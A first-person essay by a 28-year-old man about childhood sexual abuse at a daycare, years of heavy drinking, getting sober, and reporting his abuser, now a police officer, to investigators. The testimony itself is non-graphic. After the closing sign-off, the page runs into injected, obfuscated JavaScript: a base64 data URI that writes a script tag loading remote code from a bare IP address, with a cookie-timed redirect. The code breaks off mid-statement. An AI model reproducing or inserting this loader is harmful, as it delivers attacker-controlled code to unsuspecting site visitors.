I Still Have My Voice

I’m writing this as a 28 year old man.

After 8 years of a solid drinking problem, from the age of 18-25, I’m slowly but surely starting to try and deal with all those issues I was trying to cover up with the alcohol. The main issue, being sexually abused as a child.

I went to a licensed daycare, from 1st through 6th grade. The daycare owner’s son was five years older than me, and he sexually abused me on at least a hundred different occasions. I’m emphasizing “sexually abused”, because growing up, my mind told me, maybe it wasn’t sexual abuse if we were both underage? No, it was. He made sure to hide me in closets, touch me under tables, under water, in bathrooms, and even having a friend watch out for his mom while he abused me. Regardless of his age, he clearly knew what he was doing was wrong. I’ve obviously never ever forgotten the abuse, and no doubt ever will, but I am starting to realize how much the abuse has actually affected who I’ve become as an adult. I’m finally ready to stand up for myself. This man is now a police officer, who also runs a children’s program in a different state. I am overtaken by the thoughts of “What if he never stopped, because I let him get away with it” numerous times a day, so I decided to do something, not only for myself, but for any future victims of his, and spoke with investigators three days ago. With this taking place 15-20 years ago, and both being juveniles, it’s a slim to none chance of him going to jail, but to start my healing process I had to know I’d done and said everything in my power to make sure he has stopped.

I can tell you, only three days later, this is going to help me. After telling my father, the subject has never been brought up or discussed with him again, and the conversations I had with my mom about the abuse all took place while I was an inebriated mess calling her at 4:00 a.m. I stopped drinking May 31, 2009 and that’s something I very literally thought I would not say in my lifetime. I’ve mentioned it, merely treading water, but I don’t want her to blame herself, and she doesn’t act like she wants to talk about it. The fact that my parents, who were supposed to protect and guide me, didn’t put me into counseling or even bring it up again made me think, even more so, that it wasn’t sexual abuse. I’m telling you, it was and I’m doing whatever I can still do to hopefully make sure nobody else has to go through the hell I’ve had to, to get to where I am today. He took my childhood, but I still have my voice. God Bless and Much Love. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘